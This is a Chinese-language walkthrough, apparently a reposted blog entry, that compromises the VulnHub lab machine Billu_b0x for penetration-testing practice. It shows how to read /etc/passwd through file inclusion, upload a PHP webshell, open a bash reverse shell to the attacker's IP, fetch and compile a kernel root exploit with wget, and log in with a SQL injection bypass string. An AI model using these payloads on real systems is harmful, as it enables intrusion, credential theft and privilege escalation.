VulnHub渗透实战--Billu_b0x

Billu_b0x


0X01 Main Point

1.简单的代码审计
2. 文件包含漏洞(LFI) 读取源码
3. 文件上传得到webshell
4. Linux内核提权(Ubuntu 12.04)
5. SQLI

0X02 前期嗅探和端口探测

arp-scan -l    #得到靶机IP

在这里插入图片描述

nmap -sV -A -p- 172.20.10.3   #探测靶机端口及系统情况

在这里插入图片描述
常规的开放端口,也无法先从端口直接得到信息,访问网页:
在这里插入图片描述
是登录界面,并且提示你要进行SQL注入,但是在这里手工注了半天,Sqlmap跑了很久,发现把引号给过滤了,实在不知如何注入。换个思路,先扫目录看看情况:
在这里插入图片描述
其中/inphpinfo页面,/phpmy是连接数据库,add.php存在可以上传的地方,但是没有任何反应,抓包后得到的response包是一直没有变化的:
在这里插入图片描述
判断可能这是登录后有了session后才能正常使用的页面,test.php比较奇怪:
在这里插入图片描述
GET请求?file=/etc/passwd没有反应,GET各种请求都没有反应,不妨换成POST请求file=/etc/passwd:
在这里插入图片描述
存在LFI,发现可以读取/index.phpc.phpshow.phppanel.php等,其中读取 c.php时发现:
在这里插入图片描述
使用了mysql_connect函数,我们得到了数据库的账号密码bulli,b0x_billu,并且整理panel.php:

<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
	header('Location: index.php', true, 302);
	exit();
	
}



echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"';
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
	
}


if(isset($_POST['upload']))
{
	
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
if (move_uploaded_file($_FILES['image']['tmp_name'],'uploaded_images/'.$_FILES['image']['name']))
  { 
    echo "Uploaded successfully ";
$update='insert into  users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';mysqli_query($conn, $update);}
				}
		else
			{
	echo "i told you dear, only png,jpg and gif file are allowed"; } } else { echo "
only png,jpg and gif file are allowed"; } } } ?> 

先利用数据库账号密码登录phpmy.php,找到了数据库存储的用户名密码,从而可以登录index.php
在这里插入图片描述

user:biLLu
pass:hEx_it

直接登录后发现了刚刚无法正常上传的add.php还有show.php,是一个简单的上传图片的页面,而且我们知道源码,进行代码审计,发现如下这一段存在包含漏洞:

if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
	
}

如果$choice不是showadd那么就会执行include($dir.'/'.$_POST['load']);
include把后面的文件作为PHP文件处理,可以在本地搭建环境进行测试:

<?php
$dir=getcwd();
include($dir.'/'.$_POST['load']);
 ?>

这是localhostindex.php,在同一目录下放入内容为:<?php echo "HELLO WORLD";?>的jpg文件,成功执行了代码:
在这里插入图片描述

回到panel.php,这个时候我们上传一个内容为<?php system($_GET['cmd']); ?>的文件马,然后修改load的值为图片路径(图片路径可以在显示view-source显示源码中找到),进行GET请求就能成功执行代码:
在这里插入图片描述
直接在burpsuite中构造反弹shell,kali监听即可(注意在burpsuite中post方法需要进行url编码

echo “bash -i >& /dev/tcp/172.20.10.8/2333 0>&1″ | bash

在这里插入图片描述
成功得到shell,/home下有ica,但是进入查看后发现都没有权限

find / -perm -u=s -type f 2>/dev/null

发现SUID文件都比较常规,无法利用,也没有什么新的提示
uname -alsb_release -a查看内核版本:
在这里插入图片描述
searchsploit ubuntu 12.04发现存在提权脚本:
在这里插入图片描述
结合linux kernel版本我们选用37292.c这个脚本:

cp /usr/share/exploitdb/exploits/linux/local/37292.c /var/www/html/shell.c
service apache2 start #开启apache2服务

靶机shell : wget http://172.20.10.8/shell.c
然后编译,最后直接执行成功得到root权限,此靶机没有flag ~qwq

在这里插入图片描述


结合file读取的index.php可以知道过滤规则:

$uname=str_replace('\'','',urldecode($_POST['un'])); 
$pass=str_replace('\'','',urldecode($_POST['ps'])); 
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''; 
$result = mysqli_query($conn, $run); 
if (mysqli_num_rows($result) > 0) 
{
 $row = mysqli_fetch_assoc($result); echo "You are allowed
"; 
$_SESSION['logged']=true; 
$_SESSION['admin']=$row['username']; 
header('Location: panel.php', true, 302); 
} 

str_replace的作用是将字符’ 替换为空,可以放到本地环境测试:
在这里插入图片描述
这样构造payload:un=' or 1=1 -- \'&ps=' or 1=1 -- \'得到的sql语句为:

select * from auth where pass=' or 1=1 -- \' and uname=' or 1=1 -- \'

ps的值为' or 1=1 -- \' and uname='已经闭合然后 or 1=1 --这样就是恒为真,成功绕过!

发布了17 篇原创文章 · 获赞 3 · 访问量 1069

猜你喜欢

转载自blog.csdn.net/crisprx/article/details/104179962